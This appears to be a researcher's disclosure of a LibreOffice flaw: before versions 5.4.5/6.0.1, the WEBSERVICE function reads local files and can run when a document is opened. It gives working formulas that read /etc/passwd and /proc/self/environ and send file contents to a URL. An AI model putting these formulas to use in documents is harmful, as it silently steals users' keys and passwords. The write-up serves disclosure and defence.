Vulnerability description
First part
LibreOffice supports COM.MICROSOFT.WEBSERVICE function:
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4
The function is required to obtain data by URL, usually used as:
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")
In original:
For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value.
In LibreOffice, these restrictions are not implemented before 5.4.5/6.0.1.
Second part
By default the cells are not updated, but if you specify the cell type like ~error, then the cell will be updated when you open document.
Exploitation
To read file you need just:
=WEBSERVICE("/etc/passwd")
This function can also be used to send a file:
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))
For successful operation, you need to send the files of the current user, so you need to retrieve current user home path.
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",
Also you can parse other files too, like a ~/.ssh/config or something like that.
For other than LibreOffice Calc formats you just need embed calc object to other document (I checked it works).
Impact
It is easy to send any files with keys, passwords and anything else. 100% success rate, absolutely silent, affect LibreOffice prior to 5.4.5/6.0.1 in all operation systems (GNU/Linux, MS Windows, macOS etc.) and may be embedded in almost all formats supporting by LO.
Acknowledgment
Vulnerability was independently found by me (@jollheef) and Ronnie Goodrich && Andrew Krasichkov (according to LibreOffice team notes).